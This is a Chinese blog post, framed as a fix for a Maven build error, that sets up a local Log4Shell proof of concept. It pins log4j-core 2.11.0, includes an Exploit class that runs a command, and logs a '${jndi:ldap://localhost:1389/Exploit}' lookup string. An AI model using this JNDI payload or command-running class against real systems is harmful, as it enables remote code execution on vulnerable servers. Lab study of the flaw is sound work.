当前位置: 首页 > news >正文

Maven编译java及解决程序包org.apache.logging.log4j不存在问题

1、首先新建一个文件夹,比如hello
Hello里新建pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd"><modelVersion>4.0.0</modelVersion><groupId>org.springframework</groupId><artifactId>gs-maven</artifactId><packaging>jar</packaging><version>0.1.0</version><dependencies><dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-core</artifactId><version>2.11.0</version></dependency><dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-api</artifactId><version>2.11.0</version></dependency><dependency> <groupId>log4j</groupId><artifactId>log4j</artifactId><version>1.2.12</version></dependency></dependencies><build><plugins><plugin><groupId>org.apache.maven.plugins</groupId><artifactId>maven-shade-plugin</artifactId><version>2.1</version><executions><execution><phase>package</phase><goals><goal>shade</goal></goals><configuration><transformers><transformerimplementation="org.apache.maven.plugins.shade.resource.ManifestResourceTransformer"><mainClass>hello.LogTest</mainClass></transformer></transformers></configuration></execution></executions> </plugin></plugins></build>
</project>

注意上面dependencies部分用于解决程序包org.apache.logging.log4j不存在问题,即
Maven编译java及解决程序包org.apache.logging.log4j不存在问题
和文件夹src\main\java
java里新建Exploit.java和LogTest.java
Exploit.java

class Exploit{static {System.err.println("Pwned");try {String cmds = "calc";Runtime.getRuntime().exec(cmds);} catch ( Exception e ) {e.printStackTrace();}}
}

LogTest.java

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
class LogTest {public static final Logger logger = LogManager.getLogger();public static void main(String[] args) {logger.error("${jndi:ldap://localhost:1389/Exploit}");}
}

2、然后使用meve compile编译就行
在这里插入图片描述

生成的class在target里
在这里插入图片描述

另外值得注意的是编辑xml不要用记事本,会有缩进问题,建议使用vscode编辑

http://www.lryc.cn/news/156482.html

相关文章:

  • 【小吉测评】高效简洁的数据库管控平台—CloudQuery
  • 获取微信小程序二维码的bug
  • Linux之Shell(一)
  • 解决拦截器抛出异常处理类的500状态码Html默认格式响应 !
  • 搭建PyTorch神经网络进行气温预测
  • Qt Creato配置PCL库
  • 从阿里到字节跳动,这3年外包做完,我这人生算是彻底废了......
  • 在汽车行业中如何脱颖而出?使用聊天机器人是关键
  • Go语言最全面试题,拿offer全靠它,附带免积分下载pdf
  • 虚拟机Linux20.04磁盘扩展
  • 类欧几里得算法
  • c++读取和存储文件,对文件操作
  • InfluxDB API -- InfluxDB笔记四
  • 数据结构 - 单链表
  • 化繁为简 面板式空调网关亮相上海智能家居展 智哪儿专访青岛中弘赵哲海
  • 4G版本云音响设置教程阿里云平台版本
  • STM32纯中断方式发送接收数据(串行通信;keil arm5;)
  • FPGA时序分析与约束(3)——时钟不确定性
  • 【Java-HDFS】使用Java操作HDFS获取HDFS指定目录下的数据量大小
  • 协议定制 + Json序列化反序列化
  • 系统架构设计师(第二版)学习笔记----系统架构概述
  • FPGA基本算术运算
  • Linux Input子系统
  • commet与websocket
  • python3 简易 http server:实现本地与远程服务器传大文件
  • Microsoft Edge 主页启动diy以及常用的扩展、收藏夹的网站
  • 文末送书!谈谈原型模式在JAVA实战开发中的应用(附源码+面试题)
  • 视频汇聚/视频云存储/视频监控管理平台EasyCVR启动时打印starting server:listen tcp,该如何解决?
  • 【Linux从入门到精通】通信 | 管道通信(匿名管道 命名管道)
  • 实践和项目:解决实际问题时,选择合适的数据结构和算法